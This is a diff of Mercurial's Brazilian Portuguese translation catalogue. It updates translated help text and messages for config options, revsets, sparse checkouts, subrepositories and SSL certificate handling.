 "    the form ``algorithm``:``fingerprint``. e.g.\n"
-"    ``sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2``."
+"    ``sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2``.\n"
+"    In addition, colons (``:``) can appear in the fingerprint part."
 msgstr ""
 "``fingerprints``\n"
 "    Uma lista de hashes (\"impressões digitais\") do certificado remoto\n"
 "    codificado em formato DER.\n"
 "    Os valores são da forma ``algoritmo``:``impressãodigital``, como em\n"
-"    ``sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2``."
+"    ``sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2``.\n"
+"    Adicionalmente, dois pontos (``:``) podem aparecer na parte da\n"
+"    impressão digital."
 
 msgid ""
 "    The following algorithms/prefixes are supported: ``sha1``, ``sha256``,\n"
@@ -22385,11 +23816,13 @@
 "    [hostsecurity]\n"
 "    hg.example.com:fingerprints = sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2\n"
 "    hg2.example.com:fingerprints = sha1:914f1aff87249c09b6859b88b1906d30756491ca, sha1:fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33\n"
+"    hg3.example.com:fingerprints = sha256:9a:b0:dc:e2:75:ad:8a:b7:84:58:e5:1f:07:32:f1:87:e6:bd:24:22:af:b7:ce:8e:9c:b4:10:cf:b9:f4:0e:d2\n"
 "    foo.example.com:verifycertsfile = /etc/ssl/trusted-ca-certs.pem"
 msgstr ""
 "    [hostsecurity]\n"
 "    hg.example.com:fingerprints = sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2\n"
 "    hg2.example.com:fingerprints = sha1:914f1aff87249c09b6859b88b1906d30756491ca, sha1:fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33\n"
+"    hg3.example.com:fingerprints = sha256:9a:b0:dc:e2:75:ad:8a:b7:84:58:e5:1f:07:32:f1:87:e6:bd:24:22:af:b7:ce:8e:9c:b4:10:cf:b9:f4:0e:d2\n"
 "    foo.example.com:verifycertsfile = /etc/ssl/trusted-ca-certs.pem"
 
 msgid ""
@@ -23253,6 +24686,45 @@
 "    (padrão: 5)"
 
 msgid ""
+"``showmin``\n"
+"    Minimum fraction of samples an entry must have for it to be displayed.\n"
+"    Can be specified as a float between ``0.0`` and ``1.0`` or can have a\n"
+"    ``%`` afterwards to allow values up to ``100``. e.g. ``5%``."
+msgstr ""
+"``showmin``\n"
+"    Fração mínima de amostras presentes em uma entrada para que\n"
+"    ela seja exibida.\n"
+"    Pode ser especificado como um número de ponto flutuante\n"
+"    entre ``0.0`` and ``1.0``, ou ser seguido de ``%`` para\n"
+"    permitir valores até ``100``. Por exemplo, ``5%``."
+
+msgid "    Only used by the ``stat`` profiler."
+msgstr "    Usada apenas pelo profiler ``stat``."
+
+msgid ""
+"    For the ``hotpath`` format, default is ``0.05``.\n"
+"    For the ``chrome`` format, default is ``0.005``."
+msgstr ""
+"    Para o formato ``hotpath``, o padrão é ``0.05``.\n"
+"    Para o formato ``chrome``, o padrão é ``0.005``."
+
+msgid "    The option is unused on other formats."
+msgstr "    A opção não é usada pelos outros formatos."
+
+msgid ""
+"``showmax``\n"
+"    Maximum fraction of samples an entry can have before it is ignored in\n"
+"    display. Values format is the same as ``showmin``."
+msgstr ""
+"``showmax``\n"
+"    Fração máxima de amostras presentes em uma entrada para\n"
+"    que ela possa ser exibida.\n"
+"    O formato dos valores é o mesmo que em ``showmin``."
+
+msgid "    For the ``chrome`` format, default is ``0.999``."
+msgstr "    Para o formato ``chrome``, o padrão é ``0.999``."
+
+msgid ""
 "``progress``\n"
 "------------"
 msgstr ""
@@ -23453,6 +24925,15 @@
 "    (padrão: True)"
 
 msgid ""
+"``uncompressedallowsecret``\n"
+"    Whether to allow stream clones when the repository contains secret\n"
+"    changesets. (default: False)"
+msgstr ""
+"``uncompressedallowsecret``\n"
+"    Determina se são permitidos clones por stream se o repositório\n"
+"    contiver revisões secretas. (padrão: False)"
+
+msgid ""
 "``preferuncompressed``\n"
 "    When set, clients will try to use the uncompressed streaming\n"
 "    protocol. (default: False)"
@@ -23463,6 +24944,46 @@
 "    (padrão: False)"
 
 msgid ""
+"``disablefullbundle``\n"
+"    When set, servers will refuse attempts to do pull-based clones.\n"
+"    If this option is set, ``preferuncompressed`` and/or clone bundles\n"
+"    are highly recommended. Partial clones will still be allowed.\n"
+"    (default: False)"
+msgstr ""
+"``disablefullbundle``\n"
+"    Se definida, servidores recusarão tentativas de realizar\n"
+"    clones baseados em pull.\n"
+"    Se esta opção for definida, é altamente recomendado definir\n"
+"    também ``preferuncompressed`` e/ou clones por bundle.\n"
+"    Clones parciais ainda serão permitidos.\n"
+"    (padrão: False)"
+
+msgid ""
+"``concurrent-push-mode``\n"
+"    Level of allowed race condition between two pushing clients."
+msgstr ""
+"``concurrent-push-mode``\n"
+"    Nível permitido de race condition entre operações push de dois clientes."
+
+msgid ""
+"    - 'strict': push is abort if another client touched the repository\n"
+"      while the push was preparing. (default)\n"
+"    - 'check-related': push is only aborted if it affects head that got also\n"
+"      affected while the push was preparing."
+msgstr ""
+"    - 'strict': o push é abortado se um outro cliente tocar no repositório\n"
+"      enquanto o push é preparado. (padrão)\n"
+"    - 'check-related': o push é abortado apenas se afetar uma cabeça\n"
+"      que também tiver sido afetada na preparação do push."
+
+msgid ""
+"    This requires compatible client (version 4.3 and later). Old client will\n"
+"    use 'strict'."
+msgstr ""
+"    Isto exige um cliente compatível (versão 4.3 ou posterior).\n"
+"    Clientes antigos usarão 'strict'."
+
+msgid ""
 "``validate``\n"
 "    Whether to validate the completeness of pushed changesets by\n"
 "    checking that all new file revisions specified in manifests are\n"
@@ -24365,6 +25886,26 @@
 "    reconhecidas pelo Mercurial (como IOError ou MemoryError).\n"
 "    (padrão: False)"
 
+msgid "``tweakdefaults``"
+msgstr "``tweakdefaults``"
+
+msgid ""
+"    By default Mercurial's behavior changes very little from release\n"
+"    to release, but over time the recommended config settings\n"
+"    shift. Enable this config to opt in to get automatic tweaks to\n"
+"    Mercurial's behavior over time. This config setting will have no\n"
+"    effet if ``HGPLAIN` is set or ``HGPLAINEXCEPT`` is set and does\n"
+"    not include ``tweakdefaults``. (default: False)"
+msgstr ""
+"    Por padrão, o comportamento do Mercurial muda muito pouco\n"
+"    de versão para versão, mas ao longo do tempo as configurações\n"
+"    recomendadas mudam.\n"
+"    Habilite esta configuração para solicitar ajustes automáticos\n"
+"    do comportamento do Mercurial ao longo do tempo.\n"
+"    Esta opção de configuração não terá efeito caso ``HGPLAIN`\n"
+"    esteja definida ou ``HGPLAINEXCEPT`` esteja definida e não\n"
+"    inclua ``tweakdefaults``. (padrão: False)"
+
 msgid ""
 "``username``\n"
 "    The committer of a changeset created when running \"commit\".\n"
@@ -28542,10 +30083,12 @@
 
 msgid ""
 "``x~n``\n"
-"  The nth first ancestor of x; ``x~0`` is x; ``x~3`` is ``x^^^``."
+"  The nth first ancestor of x; ``x~0`` is x; ``x~3`` is ``x^^^``.\n"
+"  For n < 0, the nth unambiguous descendent of x."
 msgstr ""
 "``x~n``\n"
-"  O n-ésimo primeiro ancestral de x; ``x~0`` é x; ``x~3`` é ``x^^^``."
+"  O n-ésimo primeiro ancestral de x; ``x~0`` é x; ``x~3`` é ``x^^^``.\n"
+"  Para n < 0, o n-ésimo descendente não ambíguo de x."
 
 msgid ""
 "``x ## y``\n"
@@ -29778,6 +31321,44 @@
 msgid "  $ hg log -r . -Tnodedate"
 msgstr "  $ hg log -r . -Tnodedate"
 
+msgid ""
+"A template defined in ``templates`` section can also be referenced from\n"
+"another template::"
+msgstr ""
+"Um modelo definido na seção ``templates`` também pode ser referido em\n"
+"outro modelo::"
+
+msgid "  $ hg log -r . -T \"{rev} {nodedate}\""
+msgstr "  $ hg log -r . -T \"{rev} {nodedate}\""
+
+msgid ""
+"but be aware that the keywords cannot be overridden by templates. For example,\n"
+"a template defined as ``templates.rev`` cannot be referenced as ``{rev}``."
+msgstr ""
+"mas palavras chave não podem ser redefinidas por modelos.\n"
+"Por exemplo, um modelo definido como ``templates.rev``\n"
+"não pode ser referenciado com ``{rev}``."
+
+msgid ""
+"A template defined in ``templates`` section may have sub templates which\n"
+"are inserted before/after/between items::"
+msgstr ""
+"Um modelo definido na seção ``templates`` pode ter sub modelos que são\n"
+"inseridos antes, depois ou entre itens::"
+
+msgid ""
+"  [templates]\n"
+"  myjson = ' {dict(rev, node|short)|json}'\n"
+"  myjson:docheader = '\\{\\n'\n"
+"  myjson:docfooter = '\\n}\\n'\n"
+"  myjson:separator = ',\\n'"
+msgstr ""
+"  [templates]\n"
+"  myjson = ' {dict(rev, node|short)|json}'\n"
+"  myjson:docheader = '\\{\\n'\n"
+"  myjson:docfooter = '\\n}\\n'\n"
+"  myjson:separator = ',\\n'"
+
 msgid "Some sample command line templates:"
 msgstr "Alguns exemplos de modelos de linha de comando:"
 
@@ -30858,11 +32439,12 @@
 msgid ".hg/sharedpath points to nonexistent directory %s"
 msgstr ".hg/sharedpath aponta para diretório %s inexistente"
 
-#, python-format
-msgid "obsolete feature not enabled but %i markers found!\n"
-msgstr ""
-"a funcionalidade obsolete não está habilitada, mas foram encontradas %i "
-"marcações!\n"
+msgid ""
+"repository is using sparse feature but sparse is not enabled; enable the "
+"\"sparse\" extensions to access"
+msgstr ""
+"o repositório usa a funcionalidade \"sparse\" mas ela não está habilitada;\n"
+"habilite a extensão \"sparse\" para acessar"
 
 #, python-format
 msgid "warning: ignoring unknown working parent %s!\n"
@@ -30884,16 +32466,16 @@
 msgstr "nenhuma informação de desfazimento disponível\n"
 
 #, python-format
-msgid "repository tip rolled back to revision %s (undo %s: %s)\n"
-msgstr ""
-"executando rollback da tip do repositório para a revisão %s (desfazimento de"
-" %s: %s)\n"
-
-#, python-format
-msgid "repository tip rolled back to revision %s (undo %s)\n"
-msgstr ""
-"executando rollback da tip do repositório para a revisão %s (desfazimento de"
-" %s)\n"
+msgid "repository tip rolled back to revision %d (undo %s: %s)\n"
+msgstr ""
+"executado rollback da tip do repositório para a revisão %d (desfazimento de "
+"%s: %s)\n"
+
+#, python-format
+msgid "repository tip rolled back to revision %d (undo %s)\n"
+msgstr ""
+"executado rollback da tip do repositório para a revisão %d (desfazimento de "
+"%s)\n"
 
 msgid "rolling back unknown transaction\n"
 msgstr "desfazendo transação desconhecida\n"
@@ -31064,9 +32646,6 @@
 msgstr ""
 "não é possível pedir pelo diretório do manifesto '%s' em um manifesto plano"
 
-msgid "fileset expression with no context"
-msgstr "expressão fileset sem contexto"
-
 #, python-format
 msgid "unable to read file list (%s)"
 msgstr "incapaz de ler lista de arquivos (%s)"
@@ -31298,6 +32877,13 @@
 msgid "no such name: %s"
 msgstr "não existe tal nome: %s"
 
+msgid ""
+"'createmarkers' obsolete option must be enabled if other obsolete options "
+"are enabled"
+msgstr ""
+"a opção obsoleta 'createmarkers' deve ser habilitada se outras opções "
+"obsoletas forem habilitadas"
+
 #, python-format
 msgid ""
 "parsing obsolete marker: metadata is too short, %d bytes expected, got %d"
@@ -31326,6 +32912,12 @@
 "repositório"
 
 #, python-format
+msgid "obsolete feature not enabled but %i markers found!\n"
+msgstr ""
+"a funcionalidade obsolete não está habilitada, mas foram encontradas %i "
+"marcações!\n"
+
+#, python-format
 msgid "unknown key: %r"
 msgstr "chave desconhecida: %r"
 
@@ -31341,13 +32933,6 @@
 msgid "changeset %s cannot obsolete itself"
 msgstr "a revisão %s não pode tornar a si mesma obsoleta"
 
-msgid ""
-"'createmarkers' obsolete option must be enabled if other obsolete options "
-"are enabled"
-msgstr ""
-"a opção obsoleta 'createmarkers' deve ser habilitada se outras opções "
-"obsoletas forem habilitadas"
-
 #, python-format
 msgid "unexpected token: %s"
 msgstr "token inesperado: %s"
@@ -31780,6 +33365,11 @@
 "(corrija o problema, e então recupere as revisões com \"hg unbundle "
 "'%s'\")\n"
 
+#, python-format
+msgid "warning: orphaned descendants detected, not stripping %s\n"
+msgstr ""
+"aviso: foram detectados descendentes órfãos, strip de %s não realizado\n"
+
 msgid "(not rebuilding fncache because repository does not support fncache)\n"
 msgstr "(fncache não reparado porque o repositório não suporta fncache)\n"
 
@@ -31805,8 +33395,8 @@
 msgid "cannot register multiple processors on flag '%#x'."
 msgstr "não é possível registrar múltiplos processadores para a flag '%#x'."
 
-msgid "index entry flags need RevlogNG"
-msgstr "flags de entrada de índice exigem RevlogNG"
+msgid "index entry flags need revlog version 1"
+msgstr "flags de entrada de índice exigem revlog versão 1"
 
 #, python-format
 msgid "revlog chunk cache size %r is not greater than 0"
@@ -31817,16 +33407,12 @@
 msgstr "tamanho do cache %r de trecho do revlog não é potência de 2"
 
 #, python-format
-msgid "index %s unknown flags %#04x for format v0"
-msgstr "índice %s marcadores desconhecidos %#04x para o formato v0"
-
-#, python-format
-msgid "index %s unknown flags %#04x for revlogng"
-msgstr "índice %s marcadores desconhecidos %#04x para o revlogng"
-
-#, python-format
-msgid "index %s unknown format %d"
-msgstr "índice %s formato desconhecido %d"
+msgid "unknown flags (%#04x) in version %d revlog %s"
+msgstr "flags desconhecidas (%#04x) na versão %d revlog %s"
+
+#, python-format
+msgid "unknown version (%d) in revlog %s"
+msgstr "versão desconhecida (%d) no revlog %s"
 
 #, python-format
 msgid "index %s is corrupted"
@@ -31892,6 +33478,15 @@
 msgid "destination revlog has filtered revisions"
 msgstr "revlog de destino tem revisões filtradas"
 
+msgid "can't use a relation in this context"
+msgstr "não se pode usar uma relação nesse contexto"
+
+msgid "relation subscript must be an integer"
+msgstr "o índice de relação deve ser um inteiro"
+
+msgid "can't use a subscript in this context"
+msgstr "não se pode usar um índice nesse contexto"
+
 msgid "see hg help \"revsets.x or y\""
 msgstr "veja hg help \"revsets.x or y\""
 
@@ -31934,11 +33529,34 @@
 "    O maior ancestral comum de uma única revisão é a própria revisão."
 
 msgid ""
-"``ancestors(set)``\n"
-"    Changesets that are ancestors of a changeset in set."
-msgstr ""
-"``ancestors(conjunto)``\n"
-"    Revisões ancestrais de revisões no conjunto."
+"``ancestors(set[, depth])``\n"
+"    Changesets that are ancestors of changesets in set, including the\n"
+"    given changesets themselves."
+msgstr ""
+"``ancestors(conjunto[, profundidade])``\n"
+"    Revisões ancestrais de revisões no conjunto, incluindo as\n"
+"    próprias revisões pedidas."
+
+msgid ""
+"    If depth is specified, the result only includes changesets up to\n"
+"    the specified generation."
+msgstr ""
+"    Se a profundidade for especificada, o resultado incluirá apenas\n"
+"    revisões até a geração especificada."
+
+#. i18n: "ancestors" is a keyword
+msgid "ancestors takes at least 1 argument"
+msgstr "ancestors recebe pelo menos um argumento"
+
+#. i18n: "ancestors" is a keyword
+msgid "ancestors expects an integer depth"
+msgstr "ancestors espera uma profundidade inteira"
+
+msgid "negative depth"
+msgstr "profundidade negativa"
+
+msgid "revision in set has more than one child"
+msgstr "uma revisão no conjunto possui mais de uma filha"
 
 msgid "~ expects a number"
 msgstr "~ espera um número"
@@ -32139,11 +33757,21 @@
 msgstr "desc requer uma string"
 
 msgid ""
-"``descendants(set)``\n"
-"    Changesets which are descendants of changesets in set."
-msgstr ""
-"``descendants(conjunto)``\n"
-"    Todas as revisões descendentes de revisões do conjunto."
+"``descendants(set[, depth])``\n"
+"    Changesets which are descendants of changesets in set, including the\n"
+"    given changesets themselves."
+msgstr ""
+"``descendants(conjunto[, profundidade])``\n"
+"    Todas as revisões descendentes de revisões do conjunto, incluindo\n"
+"    as próprias revisões pedidas."
+
+#. i18n: "descendants" is a keyword
+msgid "descendants takes at least 1 argument"
+msgstr "descendants recebe pelo menos um argumento"
+
+#. i18n: "descendants" is a keyword
+msgid "descendants expects an integer depth"
+msgstr "descendants espera uma profundidade inteira"
 
 msgid ""
 "``destination([set])``\n"
@@ -32436,6 +34064,9 @@
 msgid "limit expects a number"
 msgstr "limit espera um número"
 
+msgid "negative number to select"
+msgstr "número negativo a ser selecionado"
+
 msgid "negative offset"
 msgstr "deslocamento negativo"
 
@@ -32892,6 +34523,14 @@
 msgstr "subrepo requer um padrão"
 
 msgid ""
+"``successors(set)``\n"
+"    All successors for set, including the given set themselves"
+msgstr ""
+"``successors(conjunto)``\n"
+"    Todos os sucessores do conjunto, incluindo as próprias revisões\n"
+"    pedidas."
+
+msgid ""
 "``tag([name])``\n"
 "    The specified tag by name, or all tagged revisions if no name is given."
 msgstr ""
@@ -32935,10 +34574,10 @@
 "    maiúsculas e minúsculas."
 
 msgid ""
-"``wdir``\n"
+"``wdir()``\n"
 "    Working directory. (EXPERIMENTAL)"
 msgstr ""
-"``wdir``\n"
+"``wdir()``\n"
 "    Diretório de trabalho. (EXPERIMENTAL)"
 
 #. i18n: "wdir" is a keyword
@@ -33013,8 +34652,9 @@
 msgid "abort: file censored %s!\n"
 msgstr "abortado: arquivo censurado %s!\n"
 
-msgid "killed!\n"
-msgstr "morto!\n"
+msgid "abort: working directory revision cannot be specified\n"
+msgstr ""
+"abortado: a revisão do diretório de trabalho não pode ser especificada\n"
 
 msgid "(did you forget to compile extensions?)\n"
 msgstr "(você esqueceu de compilar extensões?)\n"
@@ -33082,6 +34722,17 @@
 msgstr ""
 "veja https://mercurial-scm.org/wiki/MissingRequirement para mais informações"
 
+msgid "empty simplekeyvalue file"
+msgstr "arquivo simplekeyvalue vazio"
+
+#, python-format
+msgid "%r can't be used as a key"
+msgstr "%r não pode ser usado como chave"
+
+#, python-format
+msgid "obsoleted %i changesets\n"
+msgstr "%i revisões tornadas obsoletas\n"
+
 msgid "child process failed to start"
 msgstr "processo filho falhou ao iniciar"
 
@@ -33127,6 +34778,74 @@
 msgid "can only specify three labels."
 msgstr "só pode especificar três rótulos."
 
+msgid "sparse config cannot have includes after excludes"
+msgstr ""
+
+#, python-format
+msgid "sparse config entry outside of section: %s"
+msgstr ""
+
+msgid "add an [include] or [exclude] line to declare the entry type"
+msgstr ""
+
+#, python-format
+msgid "warning: sparse profile cannot use paths starting with /, ignoring %s\n"
+msgstr ""
+
+msgid "cannot parse sparse patterns from working directory"
+msgstr ""
+
+msgid "dropping temporarily included sparse files"
+msgstr ""
+
+#, python-format
+msgid "cleaned up %d temporarily added file(s) from the sparse checkout\n"
+msgstr ""
+
+#, python-format
+msgid "temporarily included %d file(s) in the sparse checkout for merging\n"
+msgstr ""
+
+#, python-format
+msgid "pending changes to '%s'\n"
+msgstr "mudanças pendentes para '%s'\n"
+
+msgid "could not update sparseness due to pending changes"
+msgstr ""
+
+msgid ""
+"cannot change sparseness due to pending changes (delete the files or use "
+"--force to bring them back dirty)"
+msgstr ""
+
+#, python-format
+msgid "warning: paths cannot start with /, ignoring: %s\n"
+msgstr "aviso: caminhos não podem ser absolutos, ignorando: %s\n"
+
+#, python-format
+msgid "Profiles changed: %d\n"
+msgstr "Perfis modificados: %d\n"
+
+#, python-format
+msgid "Include rules changed: %d\n"
+msgstr "Regras de inclusão modificadas: %d\n"
+
+#, python-format
+msgid "Exclude rules changed: %d\n"
+msgstr "Regras de exclusão modificadas: %d\n"
+
+#, python-format
+msgid "Files added: %d\n"
+msgstr "Arquivos adicionados: %d\n"
+
+#, python-format
+msgid "Files dropped: %d\n"
+msgstr "Arquivos removidos: %d\n"
+
+#, python-format
+msgid "Files conflicting: %d\n"
+msgstr "Arquivos conflitantes: %d\n"
+
 #, python-format
 msgid "couldn't parse location %s"
 msgstr "não foi possível processar localização %s"
@@ -33161,19 +34880,6 @@
 msgid "cadata not supported"
 msgstr "cadata não suportado"
 
-msgid ""
-"setting ciphers in [hostsecurity] is not supported by this version of Python"
-msgstr ""
-"a definição de cifras em [hostsecurity] não é suportada nesta versão do "
-"Python"
-
-msgid ""
-"remove the config option or run Mercurial with a modern Python version "
-"(preferred)"
-msgstr ""
-"remova a opção de configuração ou (preferencialmente) execute o Mercurial "
-"com uma versão moderna do Python"
-
 #, python-format
 msgid "unsupported protocol from hostsecurity.%s: %s"
 msgstr "protocolo não suportado em hostsecurity.%s: %s"
@@ -33229,6 +34935,16 @@
 msgstr "o argumento serverhostname é requerido"
 
 #, python-format
+msgid "certificate file (%s) does not exist; cannot connect to %s"
+msgstr ""
+"o arquivo de certificado (%s) não existe; não é possível conectar com %s"
+
+msgid "restore missing file or fix references in Mercurial config"
+msgstr ""
+"restaure o arquivo faltante ou corrija a referência na configuração do "
+"Mercurial"
+
+#, python-format
 msgid "could not set ciphers: %s"
 msgstr "não foi possível definir as cifras: %s"
 
@@ -33307,9 +35023,20 @@
 "(veja https://mercurial-scm.org/wiki/SecureConnections para mais "
 "informações)\n"
 
+msgid ""
+"(the full certificate chain may not be available locally; see \"hg help "
+"debugssl\")\n"
+msgstr ""
+"(a cadeia completa do certificado pode não estar disponível localmente; veja"
+" \"hg help debugssl\")\n"
+
 msgid "ssl connection failed"
 msgstr "a conexão ssl falhou"
 
+#, python-format
+msgid "referenced certificate file (%s) does not exist"
+msgstr "o arquivo de certificado referido (%s) não existe"
+
 msgid "TLS 1.1 not supported by this Python"
 msgstr "TLS 1.1 não é suportado por esta versão do Python"
 
@@ -33386,15 +35113,14 @@
 #, python-format
 msgid ""
 "(SHA-1 fingerprint for %s found in legacy [hostfingerprints] section; if you"
-" trust this fingerprint, set the following config value in [hostsecurity] "
-"and remove the old one from [hostfingerprints] to upgrade to a more secure "
-"SHA-256 fingerprint: %s:fingerprints=%s)\n"
+" trust this fingerprint, remove the old SHA-1 fingerprint from "
+"[hostfingerprints] and add the following entry to the new [hostsecurity] "
+"section: %s:fingerprints=%s)\n"
 msgstr ""
 "(uma impressão digital SHA-1 para %s foi encontrada na seção legada "
-"[hostfingerprints]; se você confia nessa impressão, defina o seguinte valor "
-"em [hostsecurity] e remova o valor antigo de [hostfingerprints] para "
-"atualizar para uma impressão digital SHA-256 mais segura: "
-"%s:fingerprints=%s)\n"
+"[hostfingerprints]; se você confia nessa impressão, remova a antiga "
+"impressão SHA-1 da seção [hostfingerprints] e adicione o seguinte valor à "
+"nova seção [hostsecurity]: %s:fingerprints=%s)\n"
 
 #, python-format
 msgid "certificate for %s has unexpected fingerprint %s"
@@ -33448,6 +35174,22 @@
 msgid "invalid entry in fncache, line %d"
 msgstr "entrada inválida na fncache, linha %d"
 
+msgid "warning: stream clone requested but server has them disabled\n"
+msgstr "aviso: clone por stream requisitado, mas desabilitado no servidor\n"
+
+#, python-format
+msgid "warning: stream clone requested but client is missing requirements: %s\n"
+msgstr ""
+"aviso: clone por stream requisitado, mas o cliente não tem os requisitos: "
+"%s\n"
+
+msgid ""
+"(see https://www.mercurial-scm.org/wiki/MissingRequirement for more "
+"information)\n"
+msgstr ""
+"(veja https://mercurial-scm.org/wiki/MissingRequirement para mais "
+"informações)\n"
+
 msgid "unexpected response from remote server:"
 msgstr "resposta inesperada do servidor remoto:"
 
@@ -33500,8 +35242,8 @@
 msgstr "incapaz de aplicar clone por stream: formato não suportado: %s"
 
 #, python-format
-msgid "(in subrepo %s)"
-msgstr "(no sub-repositório %s)"
+msgid "(in subrepository \"%s\")"
+msgstr "(no sub-repositório \"%s\")"
 
 #, python-format
 msgid "warning: subrepo spec file '%s' not found\n"
@@ -33521,7 +35263,7 @@
 msgid "bad subrepository pattern in %s: %s"
 msgstr "padrão ruim de sub-repositório em %s: %s"
 
-msgid "missing ] in subrepo source"
+msgid "missing ] in subrepository source"
 msgstr "faltando ] na origem do sub-repositório"
 
 #, python-format
@@ -33598,8 +35340,8 @@
 msgstr "aviso: mudanças consolidadas na fase \"%s\" do sub-repositório %s\n"
 
 #, python-format
-msgid "uncommitted changes in subrepository '%s'"
-msgstr "mudanças não consolidadas no sub-repositório '%s'"
+msgid "uncommitted changes in subrepository \"%s\""
+msgstr "mudanças não consolidadas no sub-repositório \"%s\""
 
 msgid "addremove is not supported"
 msgstr "addremove não é suportado"
@@ -33633,8 +35375,8 @@
 msgstr "trazendo sub-repositório %s de %s\n"
 
 #, python-format
-msgid "revision %s in subrepo %s is hidden\n"
-msgstr "a revisão %s no sub-repositório %s é oculta\n"
+msgid "revision %s in subrepository \"%s\" is hidden\n"
+msgstr "a revisão %s no sub-repositório \"%s\" é oculta\n"
 
 #, python-format
 msgid "no changes made to subrepo %s since last push to %s\n"
@@ -33706,12 +35448,12 @@
 msgstr "git %s erro %d em %s"
 
 #, python-format
-msgid "revision %s does not exist in subrepo %s\n"
-msgstr "a revisão %s não existe no sub-repositório %s\n"
-
-#, python-format
-msgid "checking out detached HEAD in subrepo %s\n"
-msgstr "obtendo detached HEAD no sub-repositório %s\n"
+msgid "revision %s does not exist in subrepository \"%s\"\n"
+msgstr "a revisão %s não existe no sub-repositório \"%s\"\n"
+
+#, python-format
+msgid "checking out detached HEAD in subrepository \"%s\"\n"
+msgstr "obtendo detached HEAD no sub-repositório \"%s\"\n"
 
 msgid "check out a git branch if you intend to make changes\n"
 msgstr "obtenha um ramo do git se você pretender fazer mudanças\n"
@@ -33721,19 +35463,19 @@
 msgstr "o sub-repositório %s está faltando"
 
 #, python-format
-msgid "unrelated git branch checked out in subrepo %s\n"
-msgstr "ramo do git não relacionado obtido no sub-repositório %s\n"
-
-#, python-format
-msgid "pushing branch %s of subrepo %s\n"
-msgstr "enviando o ramo %s do sub-repositório %s\n"
-
-#, python-format
-msgid ""
-"no branch checked out in subrepo %s\n"
+msgid "unrelated git branch checked out in subrepository \"%s\"\n"
+msgstr "ramo do git não relacionado obtido no sub-repositório \"%s\"\n"
+
+#, python-format
+msgid "pushing branch %s of subrepository \"%s\"\n"
+msgstr "enviando o ramo %s do sub-repositório \"%s\"\n"
+
+#, python-format
+msgid ""
+"no branch checked out in subrepository \"%s\"\n"
 "cannot push revision %s\n"
 msgstr ""
-"nenhum ramo obtido no sub-repositório %s\n"
+"nenhum ramo obtido no sub-repositório \"%s\"\n"
 "não é possível fazer push da revisão %s\n"
 
 #, python-format
@@ -34154,6 +35896,29 @@
 msgstr ":obsolete: String. Se a revisão for obsoleta."
 
 msgid ""
+":peerpaths: A dictionary of repository locations defined in the [paths] section\n"
+"    of your configuration file. (EXPERIMENTAL)"
+msgstr ""
+":peerpaths: Um dicionário de localizações de repositórios definido\n"
+"    na seção [paths] de seu arquivo de configuração. (EXPERIMENTAL)"
+
+msgid ":predecessors: Returns the list if the closest visible successors"
+msgstr ":predecessors: Retorna a lista dos sucessores visíveis mais próximos"
+
+msgid ""
+":successorssets: Returns a string of sets of successors for a changectx"
+msgstr ""
+":successorssets: Retorna uma string de conjuntos de sucessores para a "
+"revisão"
+
+msgid ""
+"    Format used is: [ctx1, ctx2], [ctx3] if ctx has been splitted into ctx1 and\n"
+"    ctx2 while also diverged into ctx3"
+msgstr ""
+"    O formato usado é: [rev1, rev2], [rev3] se a revisão foi\n"
+"    dividida em rev1 e rev2 e divergiu em rev3"
+
+msgid ""
 ":p1rev: Integer. The repository-local revision number of the changeset's\n"
 "    first parent, or -1 if the changeset has no parents."
 msgstr ""
@@ -35589,9 +37354,76 @@
 msgid "usable compression engines: %s"
 msgstr "motores de compressão usáveis: %s"
 
+msgid "server has pull-based clones disabled"
+msgstr "o servidor desabilitou clones baseados em pull"
+
+msgid "remove --pull if specified or upgrade Mercurial"
+msgstr "remova --pull se especificada, ou atualize o Mercurial"
+
 msgid "number of cpus must be an integer"
 msgstr "o número de cpus deve ser um inteiro"
 
+#~ msgid "enable Mercurial color mode (DEPRECATED)"
+#~ msgstr "habilita o modo de coloração do Mercurial (OBSOLETO)"
+
+#~ msgid ""
+#~ "This extension enables Mercurial color mode. The feature is now directly\n"
+#~ "available in Mercurial core. You can access it using::"
+#~ msgstr ""
+#~ "Esta extensão habilita o modo de coloração do Mercurial. Essa\n"
+#~ "funcionalidade foi integrada à funcionalidade básica do Mercurial.\n"
+#~ "Você pode acessá-la usando::"
+
+#~ msgid ""
+#~ "  [ui]\n"
+#~ "  color = auto"
+#~ msgstr ""
+#~ "  [ui]\n"
+#~ "  color = auto"
+
+#~ msgid "histedit: moving bookmarks %s from %s to %s\n"
+#~ msgstr "histedit: movendo marcadores %s de %s para %s\n"
+
+#~ msgid "too many shelved changes named '%s'"
+#~ msgstr "excesso de mudanças engavetadas de nome '%s'"
+
+#~ msgid "received changelog group is empty"
+#~ msgstr "grupo de changelogs recebido é vazio"
+
+#~ msgid "stripping intermediate changeset %s\n"
+#~ msgstr "removendo revisão intermediária %s\n"
+
+#~ msgid "stripping amended changeset %s\n"
+#~ msgstr "removendo revisão emendada %s\n"
+
+#~ msgid "no ignore patterns found"
+#~ msgstr "nenhum padrão de arquivos ignorados encontrado"
+
+#~ msgid "fileset expression with no context"
+#~ msgstr "expressão fileset sem contexto"
+
+#~ msgid "index %s unknown flags %#04x for format v0"
+#~ msgstr "índice %s marcadores desconhecidos %#04x para o formato v0"
+
+#~ msgid "index %s unknown format %d"
+#~ msgstr "índice %s formato desconhecido %d"
+
+#~ msgid ""
+#~ "setting ciphers in [hostsecurity] is not supported by this version of Python"
+#~ msgstr ""
+#~ "a definição de cifras em [hostsecurity] não é suportada nesta versão do "
+#~ "Python"
+
+#~ msgid ""
+#~ "remove the config option or run Mercurial with a modern Python version "
+#~ "(preferred)"
+#~ msgstr ""
+#~ "remova a opção de configuração ou (preferencialmente) execute o Mercurial "
+#~ "com uma versão moderna do Python"
+
+#~ msgid "uncommitted changes in subrepository '%s'"
+#~ msgstr "mudanças não consolidadas no sub-repositório '%s'"
+
 #~ msgid ""
 #~ "Effects\n"
 #~ "-------"
@@ -35657,9 +37489,6 @@
 #~ msgstr ""
